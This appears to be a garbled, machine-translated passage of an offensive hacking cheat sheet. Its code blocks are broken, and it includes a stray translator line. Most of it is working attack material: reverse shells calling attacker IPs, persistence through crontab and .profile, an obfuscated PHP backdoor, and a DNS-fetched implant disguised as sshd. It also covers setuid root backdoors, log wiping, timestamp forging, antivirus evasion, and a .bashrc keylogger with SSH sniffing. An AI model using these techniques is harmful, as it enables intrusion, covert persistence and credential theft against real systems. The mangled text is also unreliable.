# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
   rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@"  0:
}
# Using rsync + openssl
up2() {
   rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@"  0:
}
up1 /var/www/./warez
up2 /var/www/./warez

En otro servidor:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}

O monta el recurso compartido WebDAV en Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources

d3sky - d3sky es una herramienta avanzada, de código abierto, para enumeración pasiva de subdominios.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"

Después de la conexión, [mejora](#reverse-shell-interactive) tu shell a un shell PTY totalmente interactivo. Alternativamente, usa [pwncat-cs](https://pwncat.org/) en lugar de netcat:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.

Alternativamente, en el sistema remoto, coloca esto en `~/.profile` o crontab para reiniciar el shell de conexión inversa (y también evita que se inicien múltiples instancias):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)

```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash

```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

### TCP inverso x86 64-bit

```bash
nc -nvlp 4444

msfvenom -p linux/x64/shell_reverse_tcp lhost=eth0 lport=4444 -f elf -o shell

tcpdump -nvvvXi eth0 tcp port 443
``````sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

Variante si *'-e'* no es compatible:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Variante Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Nota: No olvides ejecutar `rm /tmp/.fio` después de iniciar sesión.



<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell con remote.moe y ssh (cifrado)**

Es posible tunelizar TCP crudo (por ejemplo, una reverse shell de bash) a través de [remote.moe](https://remote.moe):

En tu estación de trabajo:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

En el objetivo (alternativa; necesita ssh, bash y mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**5.i.j. Shell inversa con Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Mejorar una reverse shell a una shell PTY**

Cualquiera de las reverse shells anteriores es limitada. Por ejemplo, *sudo bash* o *top* no funcionarán. Para que funcionen, tenemos que mejorar la shell a una shell PTY real:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. Mejorar una reverse shell a una shell totalmente interactiva**

...y si también queremos usar Ctrl-C, etc., entonces tenemos que llegar hasta el final y mejorar la reverse shell a una verdadera shell interactiva completamente colorida:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

El bloque de entrada está vacío: no se ha proporcionado ningún contenido que traducir.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---
<a id="backdoor"></a>
## 6. Puertas traseras

Consulta [Reverse Shell / Dumb Shell](#reverse-shell) para shells reversas simples de una línea.

<a id="gsnc"></a>
**6.i. Shell reversa usando gs-netcat**

Principalmente usamos el script de despliegue automatizado de gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

o despliega gsocket ejecutando tu propio servidor de despliegue:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

O la forma cutre:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

Cómo funciona:
- La clave de host de SSHD es solo una clave ed25519 ordinaria.
- Cualquier clave ed25519 puede usarse para autenticar a un usuario.
- SSHD verifica `~/.ssh/authorized_keys` (pero este truco ha sido sobreexplotado).
- En su lugar, configura SSHD para que también verifique `/etc/ssh/sshd_host_ed25519_key.pub` para claves de autenticación de inicio de sesión.
- SSHD ahora verificará `~/.ssh/authorized_keys` _y_ `/etc/ssh/ssh_host_ed25519_key.pub` para claves de inicio de sesión válidas.
- Usa la clave secreta `/etc/ssh/sshd_host_ed25519_key` para iniciar sesión en el objetivo.

<a id="backdoor-network"></a>
**6.vi. Acceso remoto a toda una red**

Instala [gs-netcat](https://github.com/hackerschoice/gsocket). Crea un nodo de salida SOCKS en la LAN privada del Host que es accesible a través de la Global Socket Relay Network sin necesidad de ejecutar tu propio servidor de retransmisión (p. ej., accede a la LAN privada remota directamente desde tu estación de trabajo):```sh
gs-netcat -l -S       # compromised Host

Lee [Usa cualquier herramienta a través de Socks Proxy](#scan-proxy).

Otros métodos:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - nuestro propio artículo
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - desde segfault.net a cualquier red (interna).

<a id="php-backdoor"></a>
**6.v. La puerta trasera PHP más pequeña**

Añade esta línea al principio de cualquier archivo PHP:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

Prueba la puerta trasera:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Activa con cualquiera de estos para ejecutar código de comando o PHP:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

El implante solicita el payload mediante una solicitud DNS TXT desde el dominio `b00m.team-teso.net`. Cuando se activa, crea `/tmp/.b00m` y notifica a THC (a través de una callback de app.interactsh.com). *Por favor* usa tu propio dominio y crea también tu propio payload. Ejemplo:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

o cambia la demo-payload por un payload elaborado:
- Inicia un demonio en segundo plano que consulta cada hora la ejecución de comandos.
- Depende únicamente de bash, dig y base64.
- Se oculta como `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- El ejemplo usa `b00m2.team-teso.net` de nuevo y crea /tmp/.b00m cada hora.

Copia y pega lo siguiente en el shell del objetivo para generar el implante de una línea:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...en PERL:
---
Lo mismo pero solo necesitando perl + bash (no dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

Genera tu payload (`egg.py` se ejecutará en el objetivo):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. Backdoor local de root**

#### 1. Crear una backdoor en el cargador dinámico con setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

#### 2. El clásico shell b00m```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. Implant autoextraíble**

Crea un script de shell autoextraíble usando [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (consulta el código fuente para ver ejemplos).

Ejemplo simple:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. Renombra `egg.sh` a `update-for-fools.txt` y súbelo como blob al repositorio de GitHub de [Signal](https://www.signal.org/).

3. No engañes a la gente para que actualice Signal usando este comando ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

o```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

Comprobar la velocidad del sistema```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Encuentra todos los directorios escribibles:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- Usa [PassDetective](https://github.com/aydinnyunus/PassDetective) para encontrar contraseñas en ~/.*history
- Usa [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) para extraer y descifrar contraseñas de Chrome desde el proceso en ejecución (solo Windows)
- Extrae contraseñas de los navegadores usando [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Usando `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. Trucos de Shell
<a id="shred"></a>
**8.i. Triturar y borrar un archivo**```sh
shred -z foobar.txt

Nota: O despliega tus archivos en el directorio */dev/shm* para que no se escriban datos en el disco duro. Los datos se eliminarán al reiniciar.

Nota: O elimina el archivo y luego llena todo el disco duro con /dev/urandom y después ejecuta rm -rf sobre el archivo de volcado.

<a id="restore-timestamp"></a>
**8.ii. Restaurar la fecha de un archivo**

Digamos que has modificado */etc/passwd* pero la fecha del archivo ahora muestra que */etc/passwd* ha sido modificado. Usa *touch* para cambiar la fecha del archivo a la fecha de otro archivo (en este ejemplo, */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Esto eliminará cualquier línea que contenga la IP `1.2.3.4` del archivo de registro:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. Ocultar archivos de ese usuario sin privilegios de root**

Nuestro directorio de trabajo favorito es */dev/shm/*. Esta ubicación es memoria volátil y se perderá al reiniciar. SIN LOGS == SIN CRIMEN.

Ocultar archivos permanentes:

Método 1:```sh
alias ls='ls -I system-dev'

Método 3:
Unix permite nombres de archivo con casi cualquier carácter ASCII excepto 0x00. Prueba con el tabulador (*\t*). Sucede que la mayoría de los administradores no saben cómo hacer cd en un directorio así.```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. Cambiar de usuario sin sudo/su**

Necesario para tomar capturas de pantalla de sesiones X11 (también conocido como `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` o `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

Limpia la [cabecera de UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) y la segunda cabecera ELF para engañar al antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Verificar que el binario no puede ser desempaquetado:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

La variante más corta posible es (ejemplo):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

El backdoor también se puede canalizar a través de SSH directamente en la memoria del remoto, y ejecutarse:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

---
<a id="crypto"></a>
## 9. Criptografía
<a id="gen-password"></a>
**9.i. Generar contraseña aleatoria rápida**

Ideal para contraseñas rápidas sin intervención humana.```sh
openssl rand -base64 24

o hazlo alfanumérico```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

Montar:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

<a id="encfs"></a>
**9.ii.b. Sistemas de archivos cifrados transportables en Linux - EncFS**

Crea ```.sec``` y almacena los datos cifrados en ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

<a id="encrypting-file"></a>
**9.iii Cifrado de un archivo**

Cifra tus 0-Days y archivos de registro antes de transferirlos - por favor. (y elige tu propia contraseña):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

---
<a id="sniffing"></a>
## 10. Sniffing y secuestro de sesiones
<a id="session-sniffing"></a>
**10.i Sniffing de la sesión SHELL de un usuario**

Un one-liner para `~/.bashrc` que captura las pulsaciones de teclado del usuario y las guarda en `~/.config/.pty/.@*`. Útil cuando no se es root y se necesitan capturar las credenciales sudo/ssh/git del usuario.

Despliegue: Corta y pega lo siguiente en el objetivo y sigue las instrucciones:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

Inicia un dtrace y registra en /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

Echa un vistazo a nuestras propias [herramientas eBPF para espiar contraseñas de sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Espiar la sesión SSH, bash o SSHD de un usuario con strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Sniff 7770 (ejemplo):```shell
tit write 7770